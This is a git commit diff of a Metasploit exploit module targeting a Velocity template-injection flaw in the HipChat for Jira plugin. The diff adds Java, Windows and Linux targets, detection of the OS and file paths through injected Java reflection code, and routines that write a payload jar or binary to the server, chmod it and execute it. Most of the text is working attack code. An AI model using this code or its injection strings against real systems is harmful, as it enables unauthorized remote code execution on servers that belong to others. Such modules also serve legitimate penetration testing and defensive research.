parent
9697ce5033
commit
83824b2902
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
for Jira that allows team collibration at real time. A message can be used to inject Java
|
for Jira that allows team collibration at real time. A message can be used to inject Java
|
||||||
code into a Velocity template, and gain code exeuction as Jira. Authentication is required
|
code into a Velocity template, and gain code exeuction as Jira. Authentication is required
|
||||||
to exploit this vulnerability, and you must make sure the account you're using isn't
|
to exploit this vulnerability, and you must make sure the account you're using isn't
|
||||||
protected by captcha.
|
protected by captcha. By default, Java payload will be used because it is cross-platform,
|
||||||
|
but you can also specify which native payload you want (Linux or Windows).
|
||||||
|
|
||||||
HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
|
HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
|
||||||
between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
|
between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
|
||||||
|
@ -47,9 +48,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'BID', '76698' ],
|
[ 'BID', '76698' ],
|
||||||
[ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
|
[ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
|
||||||
],
|
],
|
||||||
'Platform' => 'linux',
|
'Targets' =>
|
||||||
'Arch' => ARCH_X86,
|
[
|
||||||
'Targets' => [[ 'HipChat for Jira plugin', {} ]],
|
[ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||||
|
[ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||||
|
[ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||||
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'RPORT' => 8080
|
'RPORT' => 8080
|
||||||
|
@ -66,11 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
OptString.new('JIRAPASS', [false, 'Jira Password', '']),
|
OptString.new('JIRAPASS', [false, 'Jira Password', '']),
|
||||||
OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
|
OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptString.new('WriteDir', [true, 'A directory where we can place our payload', '/tmp'])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -93,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# I don't really care which command to execute, as long as it's a valid one.
|
# I don't really care which command to execute, as long as it's a valid one.
|
||||||
# If the command is valid, it should return {"message"=>"0"}.
|
# If the command is valid, it should return {"message"=>"0"}.
|
||||||
# If the command is not valid, it should return an empty hash.
|
# If the command is not valid, it should return an empty hash.
|
||||||
c = get_exec_code('echo')
|
c = get_exec_code('whoami')
|
||||||
res = inject_template(c, cookie)
|
res = inject_template(c, cookie)
|
||||||
json = res.get_json_document
|
json = res.get_json_document
|
||||||
if json['message'] && json['message'] == '0'
|
if json['message'] && json['message'] == '0'
|
||||||
|
@ -295,6 +294,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_target_platform(cookie)
|
||||||
|
c = get_os_detection_code
|
||||||
|
res = inject_template(c, cookie)
|
||||||
|
json = res.get_json_document
|
||||||
|
if json['message']
|
||||||
|
return json['message']
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns Java code that can be used to inject to the template in order to write a file.
|
# Returns Java code that can be used to inject to the template in order to write a file.
|
||||||
#
|
#
|
||||||
# @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
|
# @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
|
||||||
|
@ -309,6 +320,50 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_java_path_code
|
||||||
|
get_java_property_code('java.home')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_os_detection_code
|
||||||
|
get_java_property_code('os.name')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_temp_path_code
|
||||||
|
get_java_property_code('java.io.tmpdir')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_java_property_code(prop)
|
||||||
|
%Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_jar_exec_code(java_path, war_path)
|
||||||
|
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||||
|
if /^\/[[:print:]]+/ === war_path
|
||||||
|
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
|
||||||
|
cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
|
||||||
|
else
|
||||||
|
normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
|
||||||
|
war_path.gsub!(/Program Files/, 'PROGRA~1')
|
||||||
|
cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
|
||||||
|
end
|
||||||
|
|
||||||
|
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns Java code that can be used to inject to the template in order to execute a file.
|
||||||
|
#
|
||||||
|
# @param cmd [String] command to execute
|
||||||
|
# @return [String]
|
||||||
|
def get_exec_code(cmd)
|
||||||
|
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns Java code that can be used to inject to the template in order to chmod a file.
|
# Returns Java code that can be used to inject to the template in order to chmod a file.
|
||||||
#
|
#
|
||||||
# @param fname [String] File to chmod
|
# @param fname [String] File to chmod
|
||||||
|
@ -331,15 +386,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns Java code that can be used to inject to the template in order to execute a file.
|
|
||||||
#
|
|
||||||
# @param cmd [String] command to execute
|
|
||||||
# @return [String]
|
|
||||||
def get_exec_code(cmd)
|
|
||||||
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Returns a boolean indicating whether the module has a username and password.
|
# Returns a boolean indicating whether the module has a username and password.
|
||||||
#
|
#
|
||||||
# @return [TrueClass] There is an empty cred.
|
# @return [TrueClass] There is an empty cred.
|
||||||
|
@ -383,13 +429,106 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def target_platform_compat?(target_platform)
|
||||||
|
target.platform.names.grep(/#{target_platform}|java/i).empty? ? false : true
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns the normalized file path for payload.
|
# Returns the normalized file path for payload.
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [String]
|
||||||
def normalize_payload_fname(fname)
|
def normalize_payload_fname(tmp_path, fname)
|
||||||
Rex::FileUtils.normalize_unix_path(datastore['WriteDir'], fname)
|
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||||
|
if /^\/[[:print:]]+/ === tmp_path
|
||||||
|
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
|
||||||
|
else
|
||||||
|
Rex::FileUtils.normalize_win_path(tmp_path, fname)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_tmp_path(cookie)
|
||||||
|
c = get_temp_path_code
|
||||||
|
res = inject_template(c, cookie)
|
||||||
|
json = res.get_json_document
|
||||||
|
if json['message']
|
||||||
|
return json['message']
|
||||||
|
end
|
||||||
|
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_java_home_path(cookie)
|
||||||
|
c = get_java_path_code
|
||||||
|
res = inject_template(c, cookie)
|
||||||
|
json = res.get_json_document
|
||||||
|
json['message'] || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_as_java(cookie)
|
||||||
|
tmp_path = get_tmp_path(cookie)
|
||||||
|
|
||||||
|
if tmp_path.blank?
|
||||||
|
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||||
|
end
|
||||||
|
|
||||||
|
jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||||
|
jar = payload.encoded_jar
|
||||||
|
java_home = get_java_home_path(cookie)
|
||||||
|
register_files_for_cleanup(jar_fname)
|
||||||
|
|
||||||
|
if java_home.blank?
|
||||||
|
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||||
|
else
|
||||||
|
print_status("Found Java home path: #{java_home}")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Attempting to write #{jar_fname}")
|
||||||
|
c = get_write_file_code(jar_fname, jar)
|
||||||
|
inject_template(c, cookie)
|
||||||
|
|
||||||
|
print_status("Executing #{jar_fname}")
|
||||||
|
c = get_jar_exec_code(java_home, jar_fname)
|
||||||
|
inject_template(c, cookie)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_as_windows(cookie)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_as_linux(cookie)
|
||||||
|
tmp_path = get_tmp_path(cookie)
|
||||||
|
|
||||||
|
if tmp_path.blank?
|
||||||
|
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||||
|
end
|
||||||
|
|
||||||
|
fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||||
|
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
|
||||||
|
register_files_for_cleanup(fname, new_fname)
|
||||||
|
|
||||||
|
print_status("Attempting to write #{fname}")
|
||||||
|
p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
|
||||||
|
c = get_write_file_code(fname, p)
|
||||||
|
inject_template(c, cookie)
|
||||||
|
|
||||||
|
print_status("chmod +x #{fname}")
|
||||||
|
c = get_exec_code("chmod 777 #{fname}")
|
||||||
|
inject_template(c, cookie)
|
||||||
|
|
||||||
|
print_status("New file will be #{new_fname}")
|
||||||
|
c = get_dup_file_code(fname, new_fname)
|
||||||
|
inject_template(c, cookie)
|
||||||
|
|
||||||
|
print_status("Executing #{new_fname}")
|
||||||
|
c = get_exec_code(new_fname)
|
||||||
|
inject_template(c, cookie)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
if jira_cred_empty?
|
if jira_cred_empty?
|
||||||
fail_with(Failure::BadConfig, 'Jira username and password are required.')
|
fail_with(Failure::BadConfig, 'Jira username and password are required.')
|
||||||
|
@ -399,29 +538,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
cookie = do_login
|
cookie = do_login
|
||||||
print_good("Successfully logged in as #{jira_username}")
|
print_good("Successfully logged in as #{jira_username}")
|
||||||
|
|
||||||
fname = normalize_payload_fname(Rex::Text.rand_text_alpha(5))
|
target_platform = get_target_platform(cookie)
|
||||||
new_fname = normalize_payload_fname(Rex::Text.rand_text_alpha(6))
|
print_status("Target being detected as: #{target_platform}")
|
||||||
register_files_for_cleanup(fname, new_fname)
|
|
||||||
|
|
||||||
print_status("Attempting to write #{fname}")
|
unless target_platform_compat?(target_platform)
|
||||||
p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform)
|
fail_with(Failure::BadConfig, 'Selected target does not match the target.')
|
||||||
c = get_write_file_code(fname, p)
|
end
|
||||||
inject_template(c, cookie)
|
|
||||||
|
|
||||||
print_status("chmod +x #{fname}")
|
case target.name
|
||||||
c = get_exec_code("chmod 777 #{fname}")
|
when /java$/i
|
||||||
inject_template(c, cookie)
|
exploit_as_java(cookie)
|
||||||
|
when /windows$/i
|
||||||
|
exploit_as_windows(cookie)
|
||||||
|
when /linux$/i
|
||||||
|
exploit_as_linux(cookie)
|
||||||
|
end
|
||||||
|
|
||||||
# Unfortunately, it seems very tricky to properly close the file handle due to the way we are injecting code.
|
|
||||||
# If the file is buys, we won't be able to execute it. A way to work around that is to duplicate the file,
|
|
||||||
# and the new one should be executable.
|
|
||||||
print_status("New file will be #{new_fname}")
|
|
||||||
c = get_dup_file_code(fname, new_fname)
|
|
||||||
inject_template(c, cookie)
|
|
||||||
|
|
||||||
print_status("Executing #{new_fname}")
|
|
||||||
c = get_exec_code(new_fname)
|
|
||||||
inject_template(c, cookie)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_status(msg='')
|
def print_status(msg='')
|
||||||
|
|
Loading…
Reference in New Issue